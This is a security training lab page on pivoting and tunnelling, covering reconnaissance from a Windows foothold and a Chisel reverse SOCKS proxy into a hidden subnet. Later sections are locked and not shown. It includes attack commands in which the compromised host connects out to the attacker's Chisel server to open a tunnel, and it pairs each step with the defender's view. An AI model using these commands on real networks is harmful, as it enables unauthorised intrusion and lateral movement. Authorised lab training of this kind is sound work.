Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Penetration testing, first steps

Lab · Medium · 2 hoursFree account

Pivoting, Tunneling & Port Forwarding

Build SOCKS tunnels and port forwards to reach, scan, and chain pivots into a hidden AD subnet.

  • pivoting
  • tunneling
  • ssh-tunneling
  • chisel
  • proxychains
On this page 14 sections
  1. ·Why Pivoting Matters
  2. ·Prerequisites
  3. ·Lab Setup
  4. ·Build the target
  5. 1Map What the Foothold Can Reach
  6. 2Build a Reverse SOCKS Proxy with Chisel
  7. Locked: Route Your Tools Through the Tunnel
  8. Locked: Enumerate the Hidden Segment
  9. Locked: Add a Static Port Forward for a Single Service
  10. Locked: Chain a Second Hop with SSH
  11. Locked: Reach the Restricted Segment
  12. Locked: Read the Pivot Like a Defender Would
  13. Locked: Check Your Work
  14. Locked: Clean Up and Next Lab

Pivoting means borrowing a compromised host's network view so your tools reach segments your attack box cannot. Flat networks are rare now, and most breaches that end in domain compromise cross at least one firewall through a tunnel the attacker built on a foothold. The lab builds a Chisel reverse SOCKS proxy from a Windows host, routes Nmap and CrackMapExec through it, then chains an SSH hop to reach a third, restricted subnet.

Lab Objectives

  • Map which networks a compromised host can reach that your attack box cannot
  • Build a reverse SOCKS proxy with Chisel over a shell that has no SSH server
  • Route Nmap and CrackMapExec through that proxy with proxychains
  • Add a static port forward for a tool that cannot use a SOCKS proxy
  • Chain a second SSH hop to reach a subnet one host further in
  • Name the log source, and the event ID where one applies, each pivoting step leaves behind

Why Pivoting Matters

A single compromised host rarely sees the whole network. Enterprises segment networks with firewalls and VLANs. Your attack box often has a route to only one segment. The host you compromised often has a route to more. Pivoting means using that host's network view as your own: you tunnel your traffic through it so your tools reach hosts your attack box cannot reach directly.

This lab covers three building blocks:

  • Port forward: one single TCP connection, forwarded through the tunnel to one destination host and port.
  • SOCKS proxy: one tunnel that carries traffic to any destination the far end can reach, so any SOCKS-aware tool can use it.
  • Chained pivot: a second tunnel built on top of the first, so you reach a third network that only the second hop can see.

Prerequisites

  • Reverse Shells — this lab assumes you already hold a low-privilege shell on a domain-joined host, gained with a technique from the Reverse Shells lab. Complete that lab first if the technique is new to you.
  • Windows Command Line & PowerShell — Step 1 reads ipconfig, route print, and arp -a output; you need to recognise what each column means.
  • SMB Enumeration — once the tunnel is up, Step 4 enumerates SMB on the far side of it; that lab covers the crackmapexec and nmap flags this lab reuses.
  • Active Directory Basics — background on the domain controller, domain user, and SMB share you reach once the tunnel is in place.

Lab Setup

  • Tools: chisel, proxychains, nmap, crackmapexec, and ssh on your attack box. No tool install is required on WKSTN01 beyond the single chisel.exe binary you drop in Step 2.

Build the target

KaliRange hosts no targets, no virtual machines and no networks. You run this lab on your own machines, against a domain and a segmented network that you build. The names and 10.10.x.x addresses below are the example addresses of this lab. Replace them with the addresses of your own network.

Your lab needs three network segments and five hosts:

HostAddressRole
Attack box10.10.10.5Your own Kali machine; route only to 10.10.10.0/24
WKSTN0110.10.10.50 and 10.10.20.50Domain-joined Windows 10 host of CORP.LOCAL, two network cards, one on each of the first two segments
DC0110.10.20.10Domain controller of CORP.LOCAL, on the segment only WKSTN01 can reach
FILES0110.10.20.20SMB file server on the same hidden segment, with a share named hr-share
JUMP0110.10.20.30Linux host running OpenSSH, on the hidden segment, with a route to a third segment
SQL0110.10.30.10MSSQL instance (port 1433) on the restricted third segment, visible only from JUMP01

Wire the segments so each host sees only its own and the one next to it: WKSTN01 bridges 10.10.10.0/24 and 10.10.20.0/24 on its two network cards; JUMP01 bridges 10.10.20.0/24 and 10.10.30.0/24.

Your lab must also have:

  • A low-privilege shell on WKSTN01 as corp.local\jsmith, the foothold Reverse Shells teaches you to gain.
  • An account on JUMP01: pivotuser / ChangeMe123!. Use your own password and put it in the commands.
  • DC01, FILES01 and SQL01 need no special configuration beyond answering on the ports the steps scan (88, 389, 445 on DC01; 445 on FILES01; 1433 on SQL01).

Build such a network from free, legal parts: Windows Server and Windows 10 evaluation copies from the Microsoft Evaluation Center (180 days) in virtual machines on your own computer, a small Linux virtual machine for JUMP01, and one virtual network per segment. Take a snapshot of each virtual machine before Step 1.

Authorised lab only. Run every command in this lab only against a network that you own or have written permission to test, here the hosts listed above, and nowhere else. Never build a tunnel into, or forward a port toward, a network you do not own or do not have written authorisation to test.

Step 1: Map What the Foothold Can Reach

1

Read the routing table before you build anything

Before you tunnel anywhere, confirm which network the foothold can reach that your attack box cannot. Run each command from your existing shell on WKSTN01.

ipconfig /all
route print
arp -a

Example output:

Ethernet adapter Ethernet0:
   IPv4 Address. . . . . . . . . . . : 10.10.10.50
Ethernet adapter Ethernet1:
   IPv4 Address. . . . . . . . . . . : 10.10.20.50

IPv4 Route Table
Network Destination        Netmask          Gateway       Interface
     10.10.20.0    255.255.255.0         On-link      10.10.20.50

Why it matters. The second adapter is the whole reason this host is worth pivoting through: it has a live route to 10.10.20.0/24, a network your attack box cannot reach on its own. A defender sees this same recon as a short burst of ipconfig.exe, route.exe, and arp.exe spawned from your shell's parent process. Sysmon Event ID 1 (process creation) shows an unusual parent for three native diagnostic binaries in a row.

Step 2: Build a Reverse SOCKS Proxy with Chisel

2

Tunnel out, because nothing can connect in

WKSTN01 has no SSH server and no inbound rule that lets you connect to it directly. Chisel solves this: the client runs on WKSTN01 and connects out to a server you control, then carries traffic back through that same outbound connection.

# On your attack box: start the chisel server, reverse tunnels allowed
chisel server -p 8080 --reverse
# On WKSTN01, through your existing shell: connect out and open a SOCKS proxy
# on the server side (your attack box), listening at 127.0.0.1:1080
chisel.exe client 10.10.10.5:8080 R:socks

Example output:

# attack box
2024/01/01 10:00:00 server: Reverse tunnelling enabled
2024/01/01 10:00:01 server: session#1: Client version (1.9.1) matches server

# WKSTN01
2024/01/01 10:00:01 client: Connected (Latency 4ms)

Why it matters. The SOCKS proxy now sitting at 127.0.0.1:1080 on your attack box carries traffic to anywhere WKSTN01 can reach — the whole 10.10.20.0/24 segment, without a single static route added to your attack box. A defender sees an unsigned chisel.exe written to disk and a long outbound connection from WKSTN01 to a host it never talked to before. EDR flags the unsigned binary, and a firewall or proxy log shows an outbound session on port 8080 outside that host's normal baseline.

Sign in to continue

8 more sections are for signed-in members. It is free: sign in with Google.

Related